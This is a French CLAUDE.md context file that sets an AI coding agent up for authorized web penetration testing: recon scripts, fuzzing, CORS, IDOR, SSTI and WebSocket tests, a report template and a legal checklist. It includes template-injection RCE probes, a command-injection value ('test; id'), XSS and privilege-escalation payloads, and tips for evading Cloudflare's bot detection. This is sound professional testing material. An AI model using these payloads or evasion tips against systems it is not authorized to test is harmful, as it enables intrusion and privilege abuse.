← Contextes /
pentest-web-methodology.md 621 lignes · 20.9 KB
Personnaliser Télécharger
# CLAUDE.md — Méthodologie Pentest Web

> Contexte spécialisé pour Claude Code. Coller ce fichier à la racine du projet pour guider les missions de test d'intrusion web.

---

## Quand utiliser ce contexte
- ✅ Audit de sécurité d'une application web (API REST, SPA, WebSocket)
- ✅ Test d'intrusion autorisé avec périmètre défini par écrit
- ✅ Review de code orientée sécurité (CORS, auth, cookies, injections)
- ✅ Rédaction de rapport de pentest avec CVSS et recommandations
- ❌ Toute cible sans autorisation écrite préalable — illégal
- ❌ Infrastructure réseau / pentest interne : ce contexte couvre uniquement la couche web applicative
- ❌ Tests en production sans validation explicite du commanditaire

---

## Section 1 : Les 5 phases du pentest web

### Phase 1 — Recon (reconnaissance)

Collecter un maximum d'informations sans générer de trafic suspect vers la cible.

**DNS :**
```python
import subprocess

target = "target.com"
for record in ["A", "MX", "NS", "TXT"]:
    result = subprocess.check_output(["dig", "+short", record, target]).decode().strip()
    print(f"{record}: {result}")

# SPF (anti-spoofing email)
spf = subprocess.check_output(["dig", "+short", "TXT", target]).decode()
print("SPF/DMARC:", spf)

# Sous-domaines via transfert de zone (si mal configuré)
subprocess.run(["dig", "axfr", f"@ns1.{target}", target])
```

**Certificate Transparency (sous-domaines cachés) :**
```python
import ssl, socket

ctx = ssl.create_default_context()
with ctx.wrap_socket(socket.socket(), server_hostname="target.com") as s:
    s.connect(("target.com", 443))
    cert = s.getpeercert()
    sans = [san[1] for san in cert.get("subjectAltName", []) if san[0] == "DNS"]
    print("SANs:", sans)

# Aussi : https://crt.sh/?q=%.target.com (CT logs publics)
```

**Headers HTTP (fingerprinting passif) :**
```python
import requests

r = requests.get("https://target.com", allow_redirects=True)
interesting = ["Server", "X-Powered-By", "X-Generator", "X-Framework",
               "Set-Cookie", "Access-Control-Allow-Origin", "Content-Security-Policy"]
for h in interesting:
    if h in r.headers:
        print(f"{h}: {r.headers[h]}")
```

**OSINT :**
- Wayback Machine (`web.archive.org`) — routes supprimées, anciens paramètres
- `shodan.io` — si IP directe connue (hors CDN)
- `hunter.io` / `theHarvester` — emails, sous-domaines
- GitHub / GitLab — dépôts publics, leaks de clés, config files

---

### Phase 2 — Scan

**Ports sur IP directe (si hors CDN) :**
```bash
# Ne scanner que l'IP directe, jamais via Cloudflare (inutile + bruyant)
nmap -sV -T4 --open -p 1-65535 <ip_directe>

# Services web uniquement
nmap -sV -T4 --open -p 80,443,8080,8443,8888,3000,5000 <ip>
```

**Stack fingerprinting (actif) :**
- `whatweb https://target.com` — détecte CMS, frameworks, versions
- Burp Suite Passive Scanner — lors du browse
- Headers d'erreur HTTP 404/500 — souvent révèlent le stack

---

### Phase 3 — Énumération

**API discovery depuis le JS frontend :**

Les SPA (React, Vue, Nuxt) compilent les routes et endpoints dans les chunks JS. Chercher :

```bash
# Télécharger tous les chunks JS
curl -s https://target.com | grep -oP '(?<=src=")[^"]+\.js' | while read f; do
    curl -s "https://target.com$f" >> all_js.txt
done

# Chercher les endpoints API
grep -oP '(?<=["`])/api/[a-zA-Z0-9/_-]+' all_js.txt | sort -u
grep -oP '(?<=["`])/v[0-9]+/[a-zA-Z0-9/_-]+' all_js.txt | sort -u
```

**Nuxt.js — `__NUXT_DATA__` :**

Nuxt 3 injecte l'état initial dans `window.__NUXT__` ou une balise `<script id="__NUXT_DATA__">`.
C'est souvent une mine d'informations : IDs utilisateurs, tokens, config interne.

```python
import requests, json, re

r = requests.get("https://target.com")
match = re.search(r'<script id="__NUXT_DATA__"[^>]*>(.*?)<\/script>', r.text, re.DOTALL)
if match:
    data = json.loads(match.group(1))
    print(json.dumps(data, indent=2))
```

**Routes cachées :**
```bash
# ffuf — fuzzing répertoires/routes
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
     -u https://target.com/FUZZ \
     -mc 200,301,302,403 \
     -t 50 -c

# API versioning
ffuf -w versions.txt -u https://target.com/api/FUZZ/users -mc 200,401
```

---

### Phase 4 — Tests de vulnérabilités

Voir les sections dédiées : CORS, IDOR, XSS, SQLi, WebSocket, Business Logic.

---

### Phase 5 — Rapport

Structure minimale :

1. **Résumé exécutif** (2 paragraphes, non technique)
2. **Périmètre testé** (domaines, dates, contexte)
3. **Méthodologie** (phases suivies, outils utilisés)
4. **Vulnérabilités** (une fiche par finding, voir template ci-dessous)
5. **Matrice de risque** (tableau récapitulatif avec CVSS)
6. **Recommandations** (priorité haute/moyenne/basse)

**Template fiche vulnérabilité :**
```
## [VULN-001] Titre de la vulnérabilité

**Sévérité** : Critique / Haute / Moyenne / Faible / Informatif
**CVSS v3.1** : 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
**URL affectée** : https://target.com/api/users/{id}/downloads
**Méthode** : GET

### Description
Ce que la vulnérabilité permet concrètement.

### Preuve (PoC)
Requête exacte envoyée + réponse reçue.

### Impact
Données exposées, actions possibles, utilisateurs affectés.

### Recommandation
Correction précise à implémenter.
```

---

## Section 2 : Techniques spécifiques

### Fingerprinting stack Nuxt.js

Indices à chercher :

| Indice | Localisation | Ce que ça révèle |
|--------|-------------|-----------------|
| `/_nuxt/` dans les URLs de chunks | Source HTML | Nuxt.js avec convention de build par défaut |
| `__NUXT_DATA__` | Balise `<script>` | Nuxt 3, état hydraté |
| `window.__NUXT__` | JS inline | Nuxt 2 |
| Chunks nommés `pages/`, `layouts/` | URLs JS | Structure de routage exposée |
| `_payload.json` en suffixe | URLs | Nuxt 3 avec `useFetch` / payloads statiques |

```python
# Récupérer le payload Nuxt d'une route
import requests
r = requests.get("https://target.com/profile/_payload.json")
if r.status_code == 200:
    print(r.json())  # Données brutes avant hydratation
```

---

### Playwright pour WebSocket derrière Cloudflare

Cloudflare bloque les scrapers via TLS fingerprint (JA3). Un vrai navigateur Chromium passe.

```python
import asyncio, json
from playwright.async_api import async_playwright

async def capture_ws_frames(url: str, cookie: str) -> list:
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        await context.add_cookies([{
            "name": "session",
            "value": cookie,
            "domain": "target.com",
            "path": "/"
        }])
        page = await context.new_page()

        frames = []

        def on_ws(ws):
            ws.on("framereceived", lambda f: frames.append(f.payload))
            ws.on("framesent", lambda f: frames.append(f"SENT: {f.payload}"))

        page.on("websocket", on_ws)
        await page.goto(url, wait_until="networkidle")
        await asyncio.sleep(10)  # Laisser les messages arriver
        await browser.close()
        return frames

frames = asyncio.run(capture_ws_frames("https://target.com/app", "SESSION_COOKIE"))
for f in frames:
    print(f)
```

**Parser les frames Socket.IO (EIO4) :**
```python
import json

def parse_socketio(frame: str) -> dict | None:
    """
    Format Socket.IO :
    "42" = message event
    "2" = ping
    "3" = pong
    "40" = connect
    """
    if not isinstance(frame, str):
        return None
    if not frame.startswith("42"):
        return {"type": "control", "raw": frame}
    try:
        data = json.loads(frame[2:])
        return {
            "event": data[0],
            "payload": data[1] if len(data) > 1 else None
        }
    except (json.JSONDecodeError, IndexError):
        return {"type": "unparsed", "raw": frame}

for f in frames:
    parsed = parse_socketio(f)
    if parsed and parsed.get("event"):
        print(f"EVENT: {parsed['event']}")
        print(f"PAYLOAD: {json.dumps(parsed['payload'], indent=2)}")
```

---

### CORS `*` + ACAC:true — mythe vs réalité

**Le mythe :** `Access-Control-Allow-Origin: *` avec `Access-Control-Allow-Credentials: true` est dangereux.

**La réalité :** Les navigateurs **refusent** cette combinaison. La spec CORS l'interdit explicitement.
Un navigateur qui voit `ACAO: *` et `ACAC: true` ensemble **ne enverra pas les cookies**.

**Ce qui est réellement dangereux :**
```
# Dangereux : origin reflétée dynamiquement avec credentials
Access-Control-Allow-Origin: https://attacker.com  (reflétée depuis Origin header)
Access-Control-Allow-Credentials: true
```

**Tester :**
```python
import requests

# Simuler une requête cross-origin avec credentials
r = requests.get("https://target.com/api/me",
    headers={"Origin": "https://evil.com"},
    cookies={"session": "VOTRE_SESSION"})

print(r.headers.get("Access-Control-Allow-Origin"))
print(r.headers.get("Access-Control-Allow-Credentials"))

# Vulnérable si :
# ACAO = "https://evil.com" (ou reflète l'Origin)
# ACAC = "true"
```

**Cas borderline à tester :**
- `ACAO: null` — navigateurs anciens traitaient `null` comme trusted
- `ACAO: https://target.com.evil.com` — regex trop permissive
- Sous-domaine compromis en whitelisté : `ACAO: https://cdn.target.com`

---

### Cookie prefixes — protections méconnues

| Préfixe | Règle | Ce que ça bloque |
|---------|-------|-----------------|
| `__Host-` | Doit avoir `Secure`, `Path=/`, **pas de `Domain`** | Cookie injection depuis sous-domaine, downgrade HTTP |
| `__Secure-` | Doit avoir `Secure` | Cookie injection via HTTP downgrade |

**Vérifier les cookies en pentest :**
```python
import requests

r = requests.get("https://target.com/login", allow_redirects=True)
for cookie in r.cookies:
    print(f"\n{cookie.name}:")
    print(f"  HttpOnly : {cookie.has_nonstandard_attr('HttpOnly')}")
    print(f"  Secure   : {cookie.secure}")
    print(f"  SameSite : {cookie.get_nonstandard_attr('SameSite', 'Non défini')}")
    print(f"  Domain   : {cookie.domain}")
    print(f"  Path     : {cookie.path}")
    if not cookie.name.startswith(("__Host-", "__Secure-")):
        print("  ⚠️  Pas de préfixe de sécurité")
    if not cookie.secure:
        print("  ❌ Pas Secure")
```

---

### SSTI — éviter les faux positifs

**Niveau 1 — Possible SSTI :**
```
Input: {{7*7}}
Output contient: 49
```
Peut être une coïncidence. Certains moteurs affichent la valeur d'expression JS.

**Niveau 2 — Probable SSTI :**
```
Input: {{7*'7'}}
Jinja2:  49      (int * str → str répétée → 7777777)
Twig:    49
Freemarker: erreur type différente de "non interprété"
```

**Niveau 3 — SSTI confirmé + identification moteur :**
```
# Jinja2
{{config.items()}}
{{self.__class__.__mro__}}

# Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

# Freemarker
${"freemarker.template.utility.Execute"?new()("id")}
```

**Règle :** Ne jamais escalader en RCE sans confirmation niveau 3 + autorisation explicite.

---

### Ce que Cloudflare WAF fait et ne fait PAS

| Cloudflare bloque | Cloudflare ne bloque PAS |
|-------------------|------------------------|
| SQLi évidents (`' OR 1=1`) | IDOR (requêtes légitimes avec ID d'un autre) |
| XSS avec payloads connus (`<script>alert`) | Business logic flaws |
| Scanners automatiques (User-Agent connu) | Privilege escalation (PATCH rôle) |
| Path traversal basique (`../../../etc`) | Race conditions |
| Requêtes avec trop d'anomalies HTTP | Broken Object Level Authorization |
| DDoS volumétrique | Auth bypass logique (ex: step skipping) |

**Implication pratique :** Pour les vulnérabilités OWASP API Top 10 (BOLA/IDOR, broken auth, mass assignment), Cloudflare est transparent. Tester normalement.

---

## Section 3 : IDOR et escalade de privilèges

### Pattern de test IDOR

```python
import requests

def test_idor(session_victim: requests.Session, session_attacker: requests.Session,
              base_url: str, victim_id: str) -> None:
    """
    Tester si l'attaquant peut accéder aux ressources de la victime.
    session_victim : session authentifiée comme utilisateur A
    session_attacker : session authentifiée comme utilisateur B (ou non authentifié)
    """
    endpoints = [
        f"/api/users/{victim_id}",
        f"/api/users/{victim_id}/downloads",
        f"/api/users/{victim_id}/invites",
        f"/api/users/{victim_id}/payment-methods",
        f"/api/orders?user_id={victim_id}",
        f"/api/profile/{victim_id}/export",
    ]

    print("=== Test IDOR ===")
    for ep in endpoints:
        url = f"{base_url}{ep}"
        # Vérifier que la victime peut accéder (référence)
        r_victim = session_victim.get(url)
        # Tester si l'attaquant peut accéder
        r_attacker = session_attacker.get(url)

        status_v = r_victim.status_code
        status_a = r_attacker.status_code

        if status_a == 200 and status_v == 200:
            print(f"❌ IDOR confirmé : {ep} ({status_a})")
        elif status_a in (200, 201) and status_v != 200:
            print(f"⚠️  Accès attaquant ({status_a}) mais victime ({status_v}) : {ep}")
        else:
            print(f"✅ OK : {ep} (attaquant={status_a}, victime={status_v})")

# Escalade de privilèges (mass assignment / BFLA)
def test_privilege_escalation(session: requests.Session, base_url: str, user_id: str) -> None:
    print("\n=== Test Privilege Escalation ===")
    payloads = [
        {"role": "admin"},
        {"is_admin": True},
        {"permissions": ["admin", "read", "write"]},
        {"subscription": "premium"},
    ]
    for payload in payloads:
        r = session.patch(f"{base_url}/api/users/{user_id}", json=payload)
        print(f"PATCH {payload} → {r.status_code}")
        if r.status_code in (200, 204):
            print(f"  ⚠️  Champ accepté : {payload}")
```

---

## Section 4 : WebSocket — vecteurs d'attaque

### Spoofing et channel hopping

```python
import asyncio
import websockets

async def ws_test(uri: str, cookie: str) -> None:
    headers = {
        "Cookie": f"session={cookie}",
        "Origin": "https://target.com"
    }

    async with websockets.connect(uri, extra_headers=headers) as ws:
        # Test 1 : accès à un channel privé (IDOR WS)
        await ws.send('{"action": "subscribe", "channel": "user_42_notifications"}')
        response = await asyncio.wait_for(ws.recv(), timeout=5)
        print("Channel hopping:", response)

        # Test 2 : XSS stocké via WebSocket
        await ws.send('{"action": "message", "content": "<script>alert(1)<\/script>"}')
        response = await asyncio.wait_for(ws.recv(), timeout=5)
        print("XSS payload response:", response)

        # Test 3 : injection de commandes dans les events
        await ws.send('{"action": "ping", "data": "test; id"}')
        response = await asyncio.wait_for(ws.recv(), timeout=5)
        print("Injection test:", response)

asyncio.run(ws_test("wss://target.com/ws", "SESSION_COOKIE"))
```

### Vérifier l'origine WebSocket

Un serveur WebSocket mal configuré accepte des connexions de n'importe quelle origine.
Si l'application utilise WebSocket + cookies de session, c'est un CSRF potentiel.

```python
# Tester sans Origin valide
import websockets, asyncio

async def test_origin():
    # Sans cookie — serveur doit rejeter (401/403)
    try:
        async with websockets.connect("wss://target.com/ws",
                                      extra_headers={"Origin": "https://evil.com"}) as ws:
            await ws.send('{"action": "ping"}')
            print("⚠️  Connexion acceptée sans auth depuis evil.com")
    except websockets.exceptions.InvalidStatusCode as e:
        print(f"✅ Rejeté : {e.status_code}")

asyncio.run(test_origin())
```

---

## Section 5 : DNS recon complet

```python
import subprocess, json

def dns_recon(target: str) -> dict:
    results = {}

    for record in ["A", "AAAA", "MX", "NS", "TXT", "CNAME", "SOA"]:
        try:
            output = subprocess.check_output(
                ["dig", "+short", record, target],
                stderr=subprocess.DEVNULL
            ).decode().strip()
            results[record] = output.splitlines() if output else []
        except subprocess.CalledProcessError:
            results[record] = []

    # SPF et DMARC spécifiquement
    try:
        dmarc = subprocess.check_output(
            ["dig", "+short", "TXT", f"_dmarc.{target}"],
            stderr=subprocess.DEVNULL
        ).decode().strip()
        results["DMARC"] = dmarc
    except subprocess.CalledProcessError:
        results["DMARC"] = None

    return results

recon = dns_recon("target.com")
print(json.dumps(recon, indent=2))
```

---

## Section 6 : Cadre légal

**OBLIGATOIRE avant tout test :**

- [ ] Autorisation écrite signée par le responsable légitime (DSI, CTO, propriétaire)
- [ ] Périmètre documenté : liste exacte des domaines, sous-domaines, IPs testables
- [ ] Date de début et fin de la mission
- [ ] Contacts d'urgence (en cas d'incident déclenché pendant les tests)
- [ ] Clause de confidentialité sur les findings

**Pendant les tests :**
- Ne jamais exfiltrer de données réelles — documenter l'accès, ne pas télécharger
- En cas de découverte de données sensibles tierces (ex: PII d'autres clients), stopper et informer immédiatement
- Garder tous les logs de vos requêtes (CYA — cover your ass)
- Ne pas tester les dépendances tierces hors périmètre (CDN, paiement, SSO) sans autorisation séparée

**Rapport :**
- Livrer au commanditaire avant toute publication ou divulgation
- Anonymiser les données utilisateurs dans les PoC
- Respecter un délai raisonnable de remédiation (90 jours standard) avant publication publique

---

## Checklist pentest web

### Recon
- [ ] DNS (A, AAAA, MX, NS, TXT, SOA)
- [ ] SPF + DMARC (email spoofing possible ?)
- [ ] Certificate Transparency — `crt.sh` pour les SANs (sous-domaines cachés)
- [ ] OSINT (Wayback Machine, Shodan, GitHub, Hunter.io)
- [ ] Headers HTTP (Server, X-Powered-By, X-Generator, CSP)

### Scan & Énumération
- [ ] Stack fingerprinting (WhatWeb, headers d'erreur, chunks JS)
- [ ] Ports sur IP directe si hors CDN (`nmap -sV -T4 --open`)
- [ ] API discovery depuis JS frontend (regex sur chunks)
- [ ] `__NUXT_DATA__` / `window.__NUXT__` si Nuxt.js détecté
- [ ] Fuzzing routes/répertoires (ffuf)

### Tests applicatifs
- [ ] CORS : tester reflection d'Origin arbitraire + avec `null` + sous-domaines
- [ ] IDOR sur toutes les ressources utilisateur (GET + PUT/PATCH + DELETE)
- [ ] Privilege escalation via mass assignment (PATCH rôle/subscription/is_admin)
- [ ] SQLi sur tous les paramètres (GET, POST body, headers, cookies)
- [ ] XSS stored/reflected/DOM sur les inputs utilisateur
- [ ] WebSocket : channel hopping, XSS stored, spoofing origine
- [ ] Business logic : race conditions, workflow bypass, replay d'actions
- [ ] SSTI sur les champs de template/personnalisation (confirmation niveaux 1/2/3)
- [ ] Auth : brute force login, reset password predictable, JWT alg:none / RS→HS

### Cookies & Sessions
- [ ] HttpOnly sur tous les cookies de session
- [ ] Secure flag sur tous les cookies
- [ ] SameSite (Strict ou Lax pour les cookies critiques)
- [ ] Préfixes `__Host-` et `__Secure-`
- [ ] Durée de validité des sessions (expiration après logout ?)

### Infrastructure
- [ ] Rate limiting sur login, reset password, API sensibles
- [ ] Divulgation de stack dans les erreurs (mode debug en prod ?)
- [ ] Headers sécurité (HSTS, X-Frame-Options, X-Content-Type-Options, CSP)
- [ ] Versions de librairies exposées (CVE connues ?)

---

## Outils par contexte

| Contexte | Outil recommandé | Pourquoi |
|----------|-----------------|----------|
| Derrière Cloudflare / JA3 check | Playwright (Chromium) | Fingerprint navigateur réel, passe les WAF |
| Tests manuels + replay | Burp Suite Community/Pro | Proxy HTTP, Repeater, Intruder, scanner passif |
| Scan de ports | `nmap -sV -T4 --open` | Sur IP directe uniquement, jamais via CDN |
| Scripts de test custom | Python `requests` | Rapide, flexible, reproductible, lisible |
| WAF en place | `curl` avec cookies | Moins détectable que les scanners automatiques |
| Fuzzing répertoires | `ffuf` | Plus rapide et flexible que DirBuster |
| Fingerprinting web | `whatweb` | Détection stack sans bruit excessif |
| DNS recon | `dig` + `crt.sh` | Fiable, minimal, pas de dépendance externe |
| WebSocket derrière WAF | Playwright | Même raison que Cloudflare |
| WebSocket sans WAF | `websockets` (Python) | Plus léger, plus contrôlable |